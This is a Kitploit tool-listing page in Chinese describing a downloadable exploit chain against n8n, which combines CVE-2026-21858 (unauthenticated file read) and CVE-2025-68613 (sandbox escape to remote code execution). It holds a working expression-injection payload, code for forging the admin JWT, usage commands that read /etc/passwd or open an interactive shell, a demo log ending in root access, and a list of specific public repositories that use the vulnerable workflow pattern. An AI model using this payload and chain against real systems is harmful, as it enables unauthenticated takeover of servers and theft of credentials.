Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-21858 — 自动化利用链,针对 n8n 组合任意文件读取、管理员令牌伪造与沙箱绕过,以实现未认证的远程代码执行。 | Kitploit
工具/GitHubGitHub/alhakim88/cve-2026-21858
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用渗透测试红队Payload 开发
GitHubalhakim88/cve-2026-21858

CVE-2026-21858

自动化利用链,针对 n8n 组合任意文件读取、管理员令牌伪造与沙箱绕过,以实现未认证的远程代码执行。

查看仓库
57个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链

未认证任意文件读取 → 管理员令牌伪造 → 沙箱逃逸 → 远程代码执行

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (严重)
受影响版本<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
修复版本1.121.0 (AFR) / 1.120.4+ (RCE)
披露时间2026-01-07 11:09 UTC
代号Ni8mare
致谢Dor Attias (Cyera)
漏洞利用Chocapikk
过程AI 自动化:补丁差异 → 复现 → 实验环境 → 漏洞利用(披露后约 9 小时)
类型概念验证 - 非通用漏洞利用(需要特定工作流配置,参见局限性)

摘要

n8n 上的完整未认证远程代码执行攻击链:

  1. CVE-2026-21858 - Content-Type 混淆 → 任意文件读取
  2. 读取配置 + 数据库 → 伪造管理员 JWT
  3. CVE-2025-68613 - 表达式注入 → 沙箱逃逸 → 远程代码执行

检测

该暴露是基于版本的。就暴露面而言,存在可公开访问的易受攻击的 n8n 实例。

LeakIX 结果: 查看暴露的实例

LeakIX 检测结果

为什么选择此漏洞利用?

此漏洞利用是独立于 Cyera 研究报告 开发的(在完成后才发现该报告)。主要区别:

Cyera(原始研究)此漏洞利用
文件读取加载到 AI 知识库 → 通过聊天查询直接 HTTP 响应
前置条件聊天工作流 + AI 集成任何带文件上传的表单
RCE 方法"执行命令"节点(默认禁用)表达式注入(默认安装即可生效)
自动化手动/概念演示完全自动化的 Python 脚本

两种方法都需要特定的工作流配置。Cyera 需要聊天 + AI 集成,此漏洞利用需要带响应节点的表单。详见局限性。

攻击链

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     未认证阶段                            │
├───────────────────────────────────────────────────────────┤
│  1. 读取 /proc/self/environ → 查找 HOME 目录              │
│  2. 读取 $HOME/.n8n/config → 获取 encryptionKey           │
│  3. 读取 $HOME/.n8n/database.sqlite → 获取管理员凭据      │
├───────────────────────────────────────────────────────────┤
│                      令牌伪造                              │
├───────────────────────────────────────────────────────────┤
│  4. 从 encryptionKey 推导 JWT 密钥                        │
│  5. 伪造管理员会话 Cookie                                 │
├───────────────────────────────────────────────────────────┤
│                    认证后 RCE                             │
├───────────────────────────────────────────────────────────┤
│  6. 创建带表达式注入的工作流                              │
│  7. 通过 this.process.mainModule.require 沙箱逃逸         │
│  8. 执行任意命令                                          │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - 通过 Content-Type 混淆实现任意文件读取

补丁

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

传奇般的 "Merge commit from fork" - 当你看到这个时,说明有人发现了有趣的东西。🌶️

根本原因

root@kitploit:~
// 修复前(存在漏洞)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// 修复后(已修复)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

发送 Content-Type: application/json → 控制 filepath → 读取任意文件。

CVE-2025-68613 - 表达式注入 RCE

为什么选择此绕过方式?

n8n 使用 vm2/isolated-vm 对用户代码(代码节点、表达式)进行沙箱隔离。其他 RCE 向量:

技术状态
执行命令节点默认禁用(N8N_ALLOW_EXEC_COMMAND=false)
SSH/HTTP 节点在远程服务器上执行,而非 n8n 主机
Pyodide 沙箱逃逸CVE-2025-68668 - 需要 Python 代码节点
表达式注入CVE-2025-68613 - 默认安装即可生效

我使用了表达式注入,因为它在任何默认设置的 n8n 上都能生效 - 无需特殊节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python 代码节点,该节点可能并非所有实例都可用。

载荷

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

n8n 表达式可以访问 this.process.mainModule.require → 完全沙箱逃逸。

令牌伪造

root@kitploit:~
# JWT 密钥推导
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT 哈希
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# 伪造令牌
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

实验环境搭建

root@kitploit:~
docker compose up -d
# 等待约 60 秒完成设置
# 表单:http://localhost:5678/form/vulnerable-form
# 凭据:[email protected] / password

使用方法

root@kitploit:~
# 读取任意文件
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# 带命令的完整攻击链
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# 交互式 Shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

演示

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链          ║
║     任意文件读取 → 令牌伪造 → 沙箱逃逸 → RCE                  ║
╚═══════════════════════════════════════════════════════════════╝

[*] 目标:http://localhost:5678/form/vulnerable-form
[*] 版本:1.65.0 (存在漏洞)
[x] HOME 目录
[+] HOME 目录:/root
[x] 加密密钥
[+] 加密密钥:yusrXZV1...
[x] 数据库
[+] 数据库:1327104 字节
[x] 管理员用户
[+] 管理员用户:[email protected]
[x] 令牌伪造
[+] 令牌伪造:成功
[x] 管理员访问
[+] 管理员访问:已授予!
[+] Cookie:n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE:成功

uid=0(root) gid=0(root) groups=0(root)

局限性

这不是一个"可攻破任意 n8n"的漏洞利用。 它需要特定条件才能生效:

要求描述
带文件上传的表单目标必须有一个带文件上传字段的表单工作流
响应 Webhook 节点工作流必须在 HTTP 响应中返回文件内容
工作流已激活表单工作流必须处于激活状态
未认证访问表单必须可公开访问(无需认证)

易受攻击的工作流配置示例:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

关键要素是:fieldType: "file" + respondWith: "binary"。这种模式在文件处理工作流(转换器、图像缩放器、文档处理器)中很常见。

适用场景:

  • 带响应节点返回二进制数据的表单(文件转换器、处理器)
  • 默认 n8n 安装(表达式注入未被阻止)
  • 本地/Docker 部署(数据库和配置存储在磁盘上)

不适用场景:

  • 没有响应节点的表单(文件被读取但内容不会在 HTTP 响应中返回)
  • 需要认证的表单
  • n8n Cloud(架构不同,无法访问本地文件)
  • 已修补版本(>= 1.121.0)

注意: 该漏洞(任意文件读取)无论采用何种外带方法都会被触发。响应节点只是检索内容的一种方式。替代方法(OOB、其他输出节点)可能根据工作流配置而生效。

盲利用: 如果不存在响应节点,文件仍会被 n8n 读取,但无法通过 HTTP 响应外带。需要替代技术(OOB、时序)。

真实世界示例

易受攻击的模式(表单触发器 + 文件上传 + 响应 Webhook)存在于公开的 GitHub 仓库中。

注意: 流行的 n8n 工作流仓库(>100⭐)不使用此模式。以下为社区/个人项目:

工作流文件文件字段respondWith
ifcpipeline/.../ifcpipeline.jsonIDS、IFC(x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.json图片、音频、Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.json文档(PDF)text
ai_resume_project/resume_rag.json文件上传allIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.json音频文件text
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.json上传文件默认
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfile默认
8n8Workflows/.../3WoSqiBnZ56RtWMb.json上传您的文档默认
learn_earn_ai_insta/.../My workflow.json上传您的文件默认
finintworkshop/.../API using n8n (ToT).json

这些是社区贡献的工作流。没有官方的 n8n.io 模板使用此易受攻击的模式。

参考资料

  • Cyera 研究 - Ni8mare 完整报告 - Dor Attias 的原始研究
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei 模板 CVE-2025-68613
  • LeakIX 搜索结果 - 暴露的易受攻击实例
  • Formidable - "这个库,不是那首歌"(感谢 Cyera 带来的笑点)
下载工具
file
json